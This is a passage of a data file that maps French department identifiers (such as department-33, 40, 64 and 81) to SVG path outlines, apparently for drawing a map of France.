2.17,-2.32 -2.75,-3.59 -3.55,-5.14 -2.87,0.92 -0.97,-2.62 0.33,-2.63 -2.65,-1.14 -0.44,-4.4 -1.57,-5.27 -2.89,0.77 -1.45,-2.34 0.53,-2.18 1.34,-1.34 4.68,-0.44 6.11,-2.14 2.35,-0.74 2.26,3.5 4.57,1.02 2.44,-0.29 1.26,-3.78 2.59,-5.17 -1.46,-1.93 -1.99,-4.68 1.15,-4.47 0.21,-2.43 -3.03,-4.09 -3.83,-6.1 -0.81,-1.69 -4.49,-0.9 -5.2,-3.54 -1.75,0.56 -3.25,0.45 -4.22,-0.82 -1.42,1.85 -1.72,-1.94 -2.91,-0.25 -3.3,-0.03 -3.97,-4.4 -7.72,-2.73 0.56,-2.08 -4.7,-2.08 -3.15,-4.59 -0.87,-1.66 -4.22,-2.08 -2.44,-4.29 -0.3,-2.54 -4.15,-5.59 -5.48,-2.93 -1.22,-0.57 -5.78,1.4 -3.85,-1.55 0.3,-0.71 0.63,-1.62 -0.55,-1.38 z m -24.48,7.33 c -2.5,0.03 -3.87,1.14 -1.7,3.09 3.95,0.17 7.19,2.31 10.9,3.68 3.89,-1.05 -3.64,-4.87 -5.82,-4.1 0.29,-2.41 -4.61,1.24 -3.83,-1.48 1.5,1.02 1.83,-1.02 0.46,-1.19 z m 4.27,13.72 c -0.7,1.54 2.03,3.7 0.87,5.86 3.02,2.81 6.53,5.8 7.08,10.16 2.32,-1.62 3.28,-6.49 0.08,-7.91 -0.51,-2.29 -0.47,-5.1 -3.54,-5.11 -1.46,-1 -2.65,-2.71 -4.49,-2.99 z","department-33":"m 170.37,365.5 c -2.88,2.39 -3.66,6.38 -3.67,9.99 -0.06,6.47 -0.57,12.93 -1.99,19.26 -0.93,8.17 -1.59,16.38 -2.58,24.55 0.15,2.18 -1.38,7.44 -0.06,8.1 -0.08,-3.31 1.98,-7.54 4.36,-8.96 1.97,1.72 7.34,5.74 3.76,7.49 -2.73,1.04 -6.38,-2.36 -6.38,2.52 -1.52,2.69 -2.74,7 -1.06,9.24 2.84,-0.63 5.96,-2.27 7.61,-3.75 2.03,1.26 5.7,0.92 3.77,4.43 -2.89,4.65 3.5,-0.33 5.45,2.23 3.86,1.51 7.87,-3.74 11.26,-0.84 -1.42,4.09 4.44,3.2 5.19,6.56 1.94,1.37 4.07,0.77 4.89,3.31 2.18,0.86 -1.21,6.6 3.33,5.68 2.58,1.12 6.14,0.42 4.75,-3.03 1.75,-3.72 3.17,3 5.62,1.04 3.5,-1.1 3.84,-4.91 0.95,-7.06 1.78,-1.99 6.6,-1.58 3.43,-5.47 1.27,-2.35 -1.77,-5.16 1.09,-7.2 -1.95,-2.11 4.08,0.01 3.42,-3.48 2.15,-0.49 2.85,-2.17 2.61,-3.54 1.82,1.01 2.01,-3.15 -0.54,-1.86 -1.24,-1.31 -2.01,-2.64 0.2,-3.47 -0.33,-1.44 2,-1.21 2.56,-1.67 0.96,3.46 0.77,-3.24 2.88,-0.59 3.44,-0.12 -2.08,-5.38 2.19,-5.6 -0.3,-3.57 -4.29,-0.98 -5.16,1.24 -2.94,-0.94 -4.42,-0.02 -6.92,-0.52 -0.48,-1.95 -5.24,-0.86 -1.96,-2.84 3,-2.61 -1.26,-5.76 1.74,-8.21 0.18,-2.65 3.61,-7.86 -1.4,-8.03 -1.8,0.66 -3.02,1.85 -4.53,-0.13 -2.79,3.68 -7.23,0.65 -9.47,-1.85 -1.02,0.81 -2.89,-3.34 -3.74,-0.02 -1.83,-2.9 -1.15,-5.89 -1.94,-8.56 -2.49,-1.97 -7.58,0.6 -7.16,-4.13 -0.99,3.32 -7.86,-1.7 -5.65,3.47 1.12,5.25 -0.04,11.74 4.13,15.79 1.6,0.97 5.46,1.4 5.09,3.59 -1.14,-1.76 -5.95,-2.2 -2.42,0.16 0.89,1.86 0.32,4.86 0.46,6.96 -0.86,-3.57 -0.31,-7.65 -4.4,-9.5 -4,-3.65 -3.81,-9.3 -4.62,-14.2 -0.83,-4.14 -2.82,-8.05 -6.26,-10.61 -1.82,-3.68 -6.55,-3.9 -8.36,-7.63 -0.3,-0.84 1.03,-2.73 -0.47,-2.88 z","department-40":"m 169.77,433.93 c -1.39,4.09 -9.03,1.92 -8.11,7.38 -1.02,7.04 -1.81,14.11 -3.21,21.09 -1.27,6.3 -2.02,12.7 -3.64,18.93 -1,6.23 -2.25,12.44 -3.8,18.55 2.58,-1.5 3.77,4.05 6.97,1.91 3.34,1.32 5.68,-3.95 8.44,-2.39 2.07,1.33 0.83,1.91 -0.48,2.62 2.25,0.71 3.66,-2.53 5.72,-0.83 1.43,1.01 3.09,-0.31 2.14,-1.78 2.65,0.58 4.62,-1.18 7.1,-0.71 0.89,-0.91 2.56,-0.97 3.4,-1.93 1.42,1.18 2.14,3.21 3.39,1.18 1.9,-0.75 2.12,-1.21 2.41,0.33 1.62,2.42 3.07,-1.23 4.2,0.55 1.35,-0.65 5.1,-4.97 5.14,-2 -2.25,3.45 3.32,-1.25 4.51,1.48 1.42,-0.66 5.29,-2.61 3.41,-4.06 -2.62,-1.1 2.2,-2.69 0.51,-4.53 -0.4,-2.09 3.75,-3.09 1.72,-4.6 0.25,-1.62 -1.17,-3.73 0.82,-4.32 -0.1,-1.59 -0.15,-2.99 -0.15,-4.15 -3.84,-1.04 1.14,-3.46 2.82,-3.81 1.4,0.08 1.6,0.86 2.46,-0.49 1.85,-0.5 2.29,-3.87 4,-0.74 -0.03,1.42 -1.08,2.56 1.12,3.35 3.85,1.54 0.42,-3.68 2.06,-5.19 -1.31,-3.01 1.52,-6.01 2.73,-8.67 -3.45,-0.68 -6.76,-2.36 -10.44,-2.46 -3.14,0.72 -0.38,-5.12 -3.37,-6.17 -1.68,-2.94 -3.31,0.33 -2.44,2.4 -1.45,2.03 -6.15,0.75 -7.76,-0.49 0.06,-2.43 0.64,-4.45 -1.66,-5.74 -0.75,-1.94 -4.67,-0.97 -4.92,-3.99 -2.01,-1.55 -5.69,-1.4 -4.21,-4.64 -1.24,-2.31 -3.79,0.2 -5.94,-0.34 -3.05,3.71 -7.01,-1.41 -10.49,1 -4.03,1.42 2.63,-4.52 -0.65,-5.54 -1.61,0.68 -2.43,-1.07 -3.83,-1.21 z","department-64":"m 211.2,495.72 c -1.9,1.07 -4.71,-0.23 -5.99,2.39 -1.98,0.52 -4.11,-1.44 -6.18,0.45 -1.47,-0.65 2.04,-3.79 -1.1,-2.24 -1.84,1.1 -3.29,3.13 -5.1,2.48 -1.96,1.45 -5,-2.73 -6.29,0.37 -1.3,-1.42 -2.42,-3.2 -3.7,-1.06 -1.86,0.3 -2.9,1.44 -5.06,0.79 -0.86,1.97 -4.19,-0.71 -3.64,2.4 -2.25,0.68 -5.49,-1.09 -7.26,1.32 -3.27,-0.97 2.34,-1.26 -0.09,-2.53 -2.18,-3.25 -4.64,2.8 -7.39,1.71 -2.74,0.92 -5.67,0.14 -7,-2.21 -3.51,1.11 -4.76,4.93 -7.06,7.37 -1.86,2.09 -5.86,0.94 -7.14,3.17 0.39,1.82 2.63,2.08 2.45,4.31 2.16,-0.79 5.47,-0.83 4.92,2.37 1.44,2.55 2.98,-0.5 3.6,-1.51 2.37,0.53 4.98,1.17 7.12,1.91 1.21,3.15 -0.34,6.66 -1.84,9.39 -3.7,1.82 -0.21,5.81 2.82,5.62 2.52,-0.18 0.25,-6.64 4.3,-5.38 -2.77,2.45 0.66,4.77 3.15,4.41 2.76,1.62 4.75,2.53 7.73,3.53 2.51,0.74 4.11,3.68 7.28,2.92 2.81,1.52 7.35,-3.02 7.16,2.26 -1.02,2.96 3.25,2.28 4.34,4.46 1.78,1.41 3.01,6.8 5.13,3.41 1.29,-2.94 5.1,2.52 7.14,-0.85 1.53,-1.11 3.1,-1.71 2.2,-4.29 -2.14,-2.89 3.19,-3.06 1.08,-6.08 -0.73,-2.21 1.82,-2.45 1.78,-4.48 3.8,1.19 0.42,-4.25 3.06,-5 2.06,-1.26 1.63,-4.46 4.21,-4.01 0.61,-1.33 0.15,-2.87 1.47,-3.33 2.68,-2.17 -1.51,-4.94 1.51,-6.75 3.94,0.18 -1.17,-3.74 0.89,-5.91 -0.71,-3.82 -1.88,1.82 -3.23,0.54 -0.52,-1.85 0.16,-3.46 1.54,-4.09 -0.91,-1.78 -0.41,-4.39 -2.84,-4.92 0.66,-3.73 -2.6,-1.04 -3.99,-2.95 z","department-65":"m 216.99,494.91 c -1.84,0.25 -2.8,4.03 -0.53,4.11 1.88,1.3 0.29,3.67 2.23,4.92 -1.93,0.09 -2.67,2 -1.81,3.38 0.3,1.54 2.42,-3.88 2.78,-0.62 0.04,1.77 -0.37,4.08 1.04,5.66 -0.74,1.52 -3.19,0.65 -3.23,3.06 1.46,1.22 1.22,2.8 0.07,4.31 -0.99,0.9 -1.52,1.78 -1.24,3.38 -1.18,1.4 -2.47,-0.59 -2.75,1.65 -0.31,2.34 -3.5,2.62 -2.83,5.08 -0.23,1.21 0.77,2.46 -1.27,2.75 -1.74,-1.03 -0.67,2.29 -2.47,2.46 -0.22,2.15 1.18,4.49 -1.44,5.52 0.13,2.35 0.39,5.58 3.33,6.26 1.51,1 2.85,2.84 4.69,1.37 -0.57,1.85 1.47,3.6 2.41,4.96 1.56,0.38 2.66,3.5 4.75,1.97 1.8,-0.64 3.96,-1.24 5.98,-1.71 2.21,-1.74 5.92,-0.18 6.53,2.47 2.16,1.45 2.84,-4.54 5.11,-1.48 1.05,2.42 6.1,0.26 2.72,-1.38 -0.47,-1.86 -0.16,-4.75 -0.08,-7.05 -0.01,-1.71 0.82,-4 2.68,-2.21 3.39,1.23 2.02,-4.26 4.56,-5.2 1.78,-1.39 -1.78,-2.01 -0.27,-3.71 -0.3,-0.99 -0.83,-2.98 -1.65,-1.25 -1.08,0.21 -3.2,2.39 -2.44,-0.12 -0.09,-1.57 2.08,-1.37 1.06,-3.26 -1.4,-1.24 -3.29,-2.47 -4.49,-3.12 -2.02,-2.1 3.51,-3.46 2.42,-5.76 0.93,-0.47 4.3,-0.56 1.96,-2.04 0.32,-1.95 5.47,-3.77 2.06,-5.05 -2.3,-1.28 -4.63,-0.69 -6.84,-1.39 -2.1,2.1 -2.26,-2.3 -4.28,-0.93 -1.76,1.3 -0.81,-1.74 -2.47,-1.53 -0.55,-2.46 -4.01,1.85 -5.67,-0.21 0.62,-1.85 -3.42,-2.4 -1.35,-4.21 1.51,-1.16 -1.9,-2.45 -1.19,-4.22 -1.14,-1.21 -3.48,-0.65 -4.39,-2.66 -2.13,-0.62 -0.57,-4.95 -3.7,-4.22 z","department-32":"m 246.37,463.78 c -1.87,2.87 -5.69,0.08 -7.22,3.28 -1.88,1.49 -4.2,0.57 -5.81,2.33 -2.39,-0.54 -4.55,-3.39 -6.11,0.1 -0.16,1.89 -1.71,0.96 -1.7,-0.3 -2.5,0.36 -4.05,2.53 -2.63,4.96 0.01,3.29 -6.18,-0.5 -3.3,-1.85 -0.54,-2.21 -2.13,-1.97 -3.07,-0.29 -1.34,0.89 -1.71,2.04 -3.36,1.03 -1.68,0.34 -3.48,1.37 -4.38,2.76 1.22,0.28 3.13,1.71 1.37,2.42 1.01,1.6 0.51,3.2 -0.73,3.83 -0.07,2.44 2.42,4.6 -0.76,5.86 -1.18,1.63 0.66,4.33 -1.94,5.01 -0.42,1.69 2.27,1.13 1.62,3.13 2.18,-0.55 3.63,0.28 6.01,0.22 1.55,-0.54 3.47,-2.96 4.82,-0.45 0.15,2.77 2.68,4.35 4.51,5.25 2.48,-0.68 1.19,3.49 3.25,4.21 -0.48,0.88 -2.09,2.3 -0,3.14 1.28,0.27 0.25,2.29 2,2.07 2.01,0.08 3.81,-1.91 5.13,-0.1 0.83,0.3 0.34,2.73 2.13,1.32 1.65,-1.02 1.99,3.25 3.69,0.87 2.91,0.44 5.72,1.25 8.79,1.59 2.28,-1 2.83,-4 4.96,-4.85 -0.08,-1.97 1.2,-2.17 2.72,-1.09 2.04,-2.03 5.8,0.4 7.36,1.79 1.25,2.38 1.53,-1.44 1.56,-2.27 1.63,-0.08 0.78,-2.07 1.64,-3.14 -1.95,-1.43 1.97,-2.65 1.07,-4.39 -0.66,-1.2 0.97,-1.78 2.08,-0.85 0.33,-1.45 2.39,-1.29 3.2,-2.18 2.33,0.7 0.78,-3.33 -0.81,-2.33 -0.96,-0.86 -0.26,-2.97 -2.3,-2.06 -1.55,-0.33 0.33,-2.07 -1.76,-1.78 -1.88,-0.75 0.92,-3.18 -2.09,-3.14 -1.61,-1.44 -2.45,-4.37 -4.36,-5.15 -3.35,1.69 1.17,-3.08 -1.5,-3.24 0.76,-1.49 -1.03,-2.76 -0.22,-4.22 -1.16,-1.24 -2.92,-1.03 -4.29,-1.63 -2.35,1.17 -1.75,-1.94 -0.23,-2.55 1.5,-1.23 1.3,-2.73 1.39,-4.08 3.53,-0.83 -1.38,-2.38 -2.33,-0.22 -1.18,0.08 -0.41,-3.33 -2.53,-1.63 -1.28,0.69 -2.36,3.52 -3.35,0.81 -0.67,-0.82 -1.46,-1.92 -2.53,-2.18 z","department-47":"m 230.07,418.5 c -0.81,0.77 -0.9,3.82 -1.83,1.38 -1.82,-0.02 -3.21,2.14 -3.88,3.3 1.04,0.9 2.08,1.66 3.3,1.8 -0.04,1.51 -1.7,2.55 -2.03,4.05 -1.55,0.64 -2.55,2.47 -3.24,3.29 -3.01,0.59 -4.44,4.14 -2.78,6.75 -1.33,1.76 2.46,5.68 -1.08,5.69 -2.16,-0.16 -3.67,2.4 -1.25,3.45 1.89,2.62 -1.53,5.28 -3.79,5.58 -0.01,1.94 -0.52,5.85 2.43,4.84 2.83,-0.58 4.82,1.94 7.53,1.7 1.96,-0.36 2.73,1.43 1.07,2.55 -0.51,2.08 -4.01,5.95 -0.67,6.93 1.39,-0.27 1.71,-1.54 2.32,0.34 1.42,0.2 1.56,-3.84 3.99,-2.43 2.21,2.53 4.49,0.26 7.07,0 2.57,-0.7 3.69,-3.71 6.77,-2.71 1.7,-0.39 3.39,-2.44 4.44,0.28 1.31,3.29 3.19,-0.23 4.88,-1.16 0.36,-1.62 1.13,-2.69 2.56,-3.54 -1.25,-2.97 5.51,1.65 4.18,-2.52 -0.96,-0.29 -2.25,-1.68 -0.22,-2.14 2.35,-0.03 2.05,-4.03 2.4,-5.78 -1.23,-1.07 -4.15,-1.71 -2.2,-3.71 -0.38,-1.68 1.32,-4.27 2.55,-1.77 1.53,0.85 4.19,-0.22 5.25,-0.41 0.48,-2.12 -0.42,-3.89 -1.57,-5.33 0.06,-1.97 -1.67,-5.18 -1.15,-6.13 2.23,0.07 5.01,-2.93 1.78,-3.93 -1.73,-2.48 -5.12,-2.94 -6.92,-0.28 -2.08,2.1 -3.89,-1.44 -2.14,-3.04 0.26,-1.39 -1.37,-4.01 -2.62,-1.92 -2.44,1.01 -5.83,0.37 -7,-0.95 -2.41,-0.18 -2.86,2.94 -5.17,1.62 -2.31,0.8 -5.39,2.91 -7.69,0.67 0.42,-2.17 -0.14,-6.16 -2.93,-6.02 -0.81,0.25 -1.86,0.44 -2.38,-0.43 z","department-31":"m 290.02,474.31 c -1.06,1.38 -2.08,2.2 -3.14,1.27 -0.58,4.46 -6.27,-1.79 -5.29,3.06 -1.9,-0.93 -3.5,1.28 -0.64,0.98 2.48,2.1 -3.77,2.63 -4.93,4.19 -2.22,1.21 -0.1,-1.87 -2.62,-1.46 -1.27,-3.41 -2.92,1.42 -4.53,-1.01 -1.38,1.57 -7.9,0.39 -4.49,3.87 1.19,2.36 4.47,2.68 3.64,5.37 2.67,0.06 0.55,2.9 3.52,1.95 0.58,0.93 0.66,2.79 2.12,2.09 2.71,3.12 -2.63,3.32 -4.16,4.93 -1.1,-1.53 -1.56,1.15 -1.34,1.61 0.44,1.44 -2.97,2.2 -1.16,3.88 -0.09,2.59 -2.4,2.6 -1.68,5.18 -1.9,1.75 -3.41,-2.85 -6.25,-2.48 -1.97,-0.25 -2.83,1.49 -4.6,-0.2 -0.73,3 -3.35,2.98 -4.53,6.1 -1.7,0.77 -1.89,0.75 -1.75,2.05 -1.29,1.74 -3.85,2.87 -2.67,4.97 -1.64,0.77 -2.86,0.43 -2.8,2.37 -2.19,1.55 -3.92,4.34 -0.36,4.93 1.97,0.94 4.52,4.07 1.77,4.79 -1.3,4.88 3.7,-2.96 3.72,1.66 0.49,1.32 -0.65,2.24 1.07,3.28 -2.79,1.64 -2.18,9.05 -6.68,5.6 -1.73,2.41 -1.93,7.77 -0.38,10.18 1.27,3.59 5.97,0.17 8.88,1.83 2.51,-1.92 -1.95,-5.09 0.25,-7.4 -0.76,-3.42 2.9,-4.02 4.93,-2.32 1.62,-0.12 4.31,1.32 2.68,-1.53 -0.93,-1.79 -1.4,-4.59 1.53,-4.74 -1.15,-3.31 5.98,-1.18 5.47,-5.37 -2.22,-1.5 -0.83,-5.26 0.13,-6.33 2.45,2.03 0.85,-3.56 3.56,-1.87 1.66,-2.07 2.75,0.56 4.53,0.43 1.14,1.96 2.46,4.41 4.04,1.37 2.25,-2.5 -5.64,-2.56 -1.56,-4.98 1.91,-0.32 6.85,-0.7 5.84,-3.41 -3.62,0.11 -4.71,-4.72 -0.54,-4.92 1.7,1.78 3.23,3.99 3.46,6.31 3.43,1.14 2.88,-2.05 2.74,-4.44 1.24,-0.74 2.86,2.59 3.98,0.85 2.05,0.25 3.31,3.93 3.51,0.42 1.87,-1.02 3.37,-2.54 3.2,-4.86 1.65,-0.79 5.11,0.92 3.61,-2.58 0.23,-2.56 3.55,-6.11 4.18,-1.52 0.52,0.87 1.91,-3.3 3.78,-0.91 2.24,0.69 2.87,-1.22 1.62,-2.8 0.91,-0.95 2.23,-3.84 -0.03,-2.5 -1.07,2.43 -6.09,-0.82 -6.91,-3.1 -0.98,-3.43 -6.75,-3 -7.98,-6.29 2.91,-1.68 0.76,-3.48 -1.25,-4.16 3.26,-0.53 0.29,-2.11 -0.5,-3.7 0.64,-3.06 -3.23,-3.07 -3.17,-5.79 -1.79,-0.87 -1.06,-3.76 -1.85,-4.82 z","department-09":"m 281,514.26 c -1.93,0.45 -2.81,3.42 -0.61,3.74 0.47,1.06 3.65,0.84 1.91,2.92 -1.78,0.48 -2.86,1.94 -5,1.65 -1.94,-0.47 -2.72,3.01 -0.2,2.59 2.24,0.58 1.95,2.32 0.27,3.21 -1.24,2.42 -2.69,-0.31 -3.19,-1.7 -1.18,-0.65 -2.35,-0.74 -3.49,-1.68 -1.21,1.5 -3.6,0.41 -3.5,3.08 -0.69,0.69 -2.14,-1.23 -2.07,0.85 0.78,1.23 -1.59,1.79 -0.08,3.25 -1.18,1.45 2.43,1.96 0.17,3.11 -0.33,2.96 -5.7,1.12 -4.88,4.08 -1,0.73 -3.51,0.76 -1.93,2.67 -0.14,2.58 1.36,4.98 3.85,6.04 1.3,1.43 2.44,-0.82 3.84,0.84 2.2,0.69 5.28,-0.08 6.42,2.49 -0.04,2.84 2.56,2.9 4.54,2 2.27,0.7 5.31,-0.62 6.28,1.97 2.47,1.03 1.46,6.42 4.53,5.84 0.33,-1.46 -0.02,-3.65 2.25,-2.77 2.58,-1.67 3.67,2.32 6.42,1.51 1.59,0.01 4.16,0.09 3.44,2.23 1.96,0.82 4.9,1.1 6.14,-0.77 0.17,-1.61 2.36,0.02 3.34,-1.21 1.09,-1.15 1.09,-3.64 3.34,-2.57 1.75,-1.21 4.32,-0.24 5.87,-0.95 0.4,-2.48 -3.41,-3.46 -4.42,-5.35 -2.08,0.81 -4.89,2.28 -6.69,-0.08 -1.29,-0.72 0.48,-2.24 -1.27,-3.27 -1.88,-0.45 -2.07,-2.21 -0.54,-3.2 2.84,0.11 5.65,-1.41 4.42,-4.62 -1.62,-0.54 -3.31,-2.15 -0.6,-2.68 1.86,-1.01 -0.44,-3.29 0.61,-4.77 -1.01,-0.87 -2.68,-1.46 -1.18,-2.69 -0.07,-1.43 -0.47,-4.45 -2.45,-3.41 -0.92,1.43 -0.96,-2.2 -2.67,-1.24 -2.3,-0.25 -5.38,-1.98 -6.1,-3.66 0.91,-1.6 -0.72,-3.91 -1.67,-5.05 -0.92,0.6 -1.38,4.39 -1.98,1.49 -1.2,-0.67 -2.47,-1.05 -3.16,-0.2 -0.47,-1.65 -2.24,-0.25 -2.45,-1.94 -1.91,1 1.34,4.52 -1.22,4.39 -1.46,2.03 -3.74,-0.79 -2.75,-2.52 -1.34,-0.95 -2.09,-3.13 -3.54,-3.63 z","department-11":"m 322.74,505.07 c -2.05,0.87 -0.82,6.47 -3.43,3.37 -1.24,-1.83 -5.19,2.71 -5.61,-1.17 -0.96,-1.29 -3.24,1.91 -4.87,-0.09 -1.63,-0.8 -2.35,3.52 -2.64,0.63 -0.96,-2.44 -1.93,-1.82 -2.84,-0.31 -0.91,1.07 -1.52,2.84 -0.93,4.7 -1.36,0.65 -4.52,-0.56 -3.73,2 -2.59,1.87 -0.87,4.71 -0.49,7.11 -1.27,1.72 2.24,1.99 3.14,3.2 1.19,0.53 2.27,1.21 2.96,0.05 1.12,0.9 1.35,2.64 3.05,1.69 2.12,0.9 2.09,4.11 1.18,5.21 3.13,0.75 0.58,4.42 2.61,6.09 -0.39,0.99 -3.64,-0.55 -2.72,1.47 3.15,0.22 2.69,5.73 -0.43,5.57 -2.23,-0.56 -4.71,2.43 -1.69,3.29 1.21,1.07 1.25,2.2 0.94,3.14 2.17,2.52 4.98,0.67 7.49,0.33 1.51,2.48 4.82,3.48 4.44,6.58 1.77,-0.41 3.17,-3.16 4.49,-3.39 3.31,0.6 4.11,-3.13 3.04,-5.57 -1.83,-2.22 -0.3,-4.53 2.45,-3.77 2.55,1.09 4.79,-0.72 7.38,0.01 2.84,0.15 6.37,1.82 8.78,-0.17 0.65,-3.39 5.24,-6.04 7.54,-2.78 1.85,0.63 5.78,4.21 6.08,0.38 -0.45,-2.41 3.52,0.65 2.08,-2.31 -2.01,-0.09 -2.51,-4.47 -0.81,-3.38 -1.64,2.12 0.92,2.66 1.07,0.34 -0.46,-2.15 2.38,-4.6 1.05,-6.15 -2.36,0.27 -1.35,-5.67 0.64,-3.13 -2.54,0.73 1.01,4.03 1.12,0.84 1.32,-2.4 3.72,-4.96 4.13,-7.43 -1.48,-1.18 -2.13,-3.67 -4.25,-2.51 -1.21,-1.56 -3.82,-0.43 -5.13,-2.43 -2.87,1.08 -0.98,-4.2 -4.12,-2.08 -1.35,-0.41 -2.91,-0.78 -3.72,-1.82 -0.39,1.7 -3.42,0.2 -2.88,2.31 -1.03,1.88 -2.16,4.69 -4.29,2.05 -1.21,-0.21 -0.6,-4.63 -2.32,-1.66 -2.18,1.62 -3.12,-0.12 -3.87,-2.12 -3.09,-0.03 -1.41,-4.42 0.31,-5.1 -2.19,-1.27 -5.18,-2.28 -7.77,-1.42 -1.98,2 -4.51,-1.63 -6.72,-1.15 -0.21,-0.07 -0.4,-0.62 -0.72,-0.42 z","department-34":"m 390.74,470.95 c -2.99,-0.26 -2.82,5.22 -4.91,4.05 -0.85,-0.82 -3.55,2.9 -1.7,3.78 -2.23,1.02 -3.63,-1.19 -4.2,-2.93 -1.16,0.9 -4.89,3.4 -3.25,0.24 -0.72,-2.79 -3.95,-1 -5.3,0 -2.69,-1.07 -4.43,1.99 -3.3,4.01 -2.19,2.21 -5.5,0.8 -7.8,-0.28 -1.78,1.11 -0.38,3.61 -0.42,5.05 -1.55,1.49 1.67,5.37 -2.24,4.09 -1.98,-1.46 -4.85,0.46 -4.95,2.6 -2.71,0.38 -5.15,2.58 -7.61,2.47 -1.2,-2.9 -5.65,-2.66 -5.41,0.83 -0.2,2.13 -0.02,4.29 2.09,5.91 -1.23,1.35 0.72,3.85 -1.77,4.6 -0.84,1.05 -3.22,1.42 -1.8,2.86 -2.1,0.55 -3.27,4.78 -0.38,4.9 0.41,3.09 3.29,3.1 4.71,0.7 1.12,1.12 0.35,3.34 2.55,3.76 2.97,1.15 1.66,-5.18 5.05,-4.27 1.09,-0.26 0.38,-2.58 1.62,-0.55 1.21,1.33 3.32,1.66 5.28,1.1 -0.81,3.2 2.64,2.34 4.33,4 1.73,-0.69 2.59,1.52 4.38,0.6 1.39,1.92 3.62,4.56 5.52,1.34 2.58,-2.15 5.39,-4.64 8.99,-3.22 1.68,-2.14 3.28,-4.7 5.33,-6.66 2.9,-0.94 5.12,-2.93 7.63,-4.62 1.32,-0.52 2.38,-2.93 0.36,-1.17 -0.86,0.97 -3.9,2.82 -4.09,1.95 2.86,-0.54 3.94,-3.18 5.35,-4.98 2.22,-0.89 3.15,-3.57 5.97,-3.69 2.76,-1.69 5.46,-2.2 8.14,-1.32 3.13,-2.28 2.15,-5.6 0.6,-8.52 -0.42,-1.85 -2.64,-1.51 -3.41,-3.24 -1.72,-0.64 -2.58,-4.02 -5.12,-2.47 -0.36,-1.17 1.06,-3.05 -1.22,-3.23 -1.16,-1.21 -1.48,-2.47 -3.51,-1.47 -2.48,1.54 -3.44,-1.7 -1.82,-3.25 0.15,-1.49 -1.98,-1.29 -2.11,-2.79 -0.5,-0.22 -1.04,-0.13 -1.56,-0.19 z",
"department-81":"m 317.26,455.8 c -1.38,0.45 -1.96,1.61 -3.59,0.76 -0.3,1.95 -3.52,3.22 -5.56,2.27 -1.35,-1.6 -1.97,-0.02 -0.95,1.04 -0.95,0.36 -4.67,-1.27 -3.47,1.46 -0.16,1.66 -2.33,-1.92 -2.18,0.76 -1.1,0.98 -2.79,-1.57 -4.48,-0.74 -2.96,-0.67 -1.32,3.31 0.16,3.83 0.79,1.92 -1.89,3.01 -2.42,4.25 -1.32,0.93 -1.16,3.17 -3.54,1.88 -3.23,0.63 2.44,1.72 -0.33,3.16 -1.29,2.54 1.59,4.57 1.92,6.82 3.43,0.3 1.18,4.78 4.33,5.68 1.56,1.28 -3.01,2.06 -0.13,2.25 2.4,0.02 1.46,2.84 -0.02,3.51 0.41,1.89 3.59,2.46 5.14,3.73 3.27,0.27 2.72,5.06 6.14,5.64 1.57,0.82 3.54,1.72 3.47,-0.75 2.28,-0.44 1.4,2 0.21,3 0.06,1.82 2.22,2.93 2.93,4.31 2.14,0.3 3.89,-2.52 5.16,0.35 2.18,0.85 0.37,-3.47 2.64,-4.11 1.88,0.14 4.42,2.05 6.83,2.16 2.71,-2.86 6.35,1.58 9.11,-0.98 1.2,-0.64 2.07,-1.84 2.78,-2.36 -0.59,-1.87 0.29,-4.05 -1.8,-5.38 -0.4,-2.17 -0.06,-5.25 1.22,-6.85 1.68,0.37 3.78,1.08 4.87,2.68 2.13,-1.79 6.04,-1.49 7.35,-3.74 0.82,-2 0.39,-5.04 -2.37,-4.51 -1.51,-1.26 -3.19,-1.55 -4.19,0.39 -2.37,0.97 -5.11,-0.89 -6.55,-2.85 -1.52,-2.15 -3.76,-4.35 -2.85,-6.85 -1.52,-0.96 -0.28,-3.74 -2.85,-4.01 -0.47,-0.84 1.76,-2.39 -0.4,-3.07 -0.29,-2.52 -2.16,-4.07 -4.11,-4.88 -0.57,-2.53 -3.81,-3.32 -5.31,-4.22 -0.15,-2.48 -4.32,0.72 -4.86,-1.12 1.44,0.14 3.17,-1.78 0.74,-1.46 -0.91,0.39 -2.23,-1.71 -3,-2.06 z","department-82":"m 270.52,443.01 c -2.14,1.16 -4.19,2.19 -6.63,2.16 -1.8,1.76 -1.62,-2.78 -3.54,-0.83 0.31,1.77 -1.92,4.88 1.19,4.85 2.39,1.55 0.09,4.21 -0.3,6.31 -0.44,1.21 -4,0.94 -1.6,2.01 1.97,0.84 -0.06,4.23 -1.88,2.4 -1.71,-1.22 -1.76,0.34 -2.14,1.6 -2.88,-0.32 -2.21,4.49 -0.81,4.92 0.76,-1.3 4.97,-1.27 3.43,0.36 -1.84,1.04 -0.66,3.8 -2.94,4.81 -1.25,0.84 -0.68,2.87 0.84,1.84 1.82,0.52 5.75,1.1 3.97,3.56 1.04,0.67 0.69,2.25 0.98,2.38 1.77,0.78 -1.98,4.07 1.01,3.39 2.26,-0.43 4.92,-0.42 6.74,-1.49 1.27,0.58 2.39,0.31 3.28,-0.35 1.56,0.75 2.53,2.41 3.56,2.88 1.74,-0.62 2.22,-2.04 4.12,-2 1.89,-0.5 1.91,-2.44 -0.22,-2.07 -1.95,-1.13 1.52,-1.46 1.74,-1.49 -0.38,-2.02 1.51,-2.5 2.7,-1.14 2.06,1 2.76,-3.06 4.11,-1.34 0.99,-1.05 2.54,-1.76 3.38,-2.23 -0.31,-0.89 -2.82,-2.03 -0.52,-2.27 3.19,1.02 3.39,-3.02 5.79,-4.18 1.52,-1.98 -2.9,-3.42 -1.35,-5.63 1.94,-1.07 4.17,0.24 5.66,0.61 0.71,-1.21 1.03,-1.65 2.08,-0.63 0.24,-1.33 0.21,-2.59 2.09,-1.85 1.1,0.24 2.24,0.41 1.15,-0.79 0.51,-1.8 4.19,2 3.66,-0.96 -0.31,-2.1 -2.39,0.61 -2.47,-1.31 -3.3,-1.19 0.65,-3.45 1.77,-4.89 0.21,-2.45 -4.44,-0.16 -4.38,-2.98 0.49,-1.88 -1.6,-1.91 -2.4,-1.54 -1.21,-0.58 -1.91,1.84 -3.15,0.41 -2.28,-0.21 -4.04,4.15 -5.85,2.74 -0.79,-2.47 -3.62,0.05 -1.56,1.51 0.31,2.35 -3.95,2.36 -3.07,-0.25 -2.24,-2.68 -3.51,1.69 -5.86,2.39 -1.45,2.53 -2.73,-0.71 -4.63,-0.48 -0.83,-1.02 1.91,-4.61 -0.86,-3.31 -1.97,2.14 -4.17,-0.81 -5.73,-2.04 -1.54,-0.03 -2.07,-2.27 -2.71,-3.05 0.48,-0.77 3.85,-1.24 1.34,-2.04 z","department-12":"m 344.82,407.22 c -2.14,2.24 -4.92,3.53 -5.91,6.44 -0.2,3.05 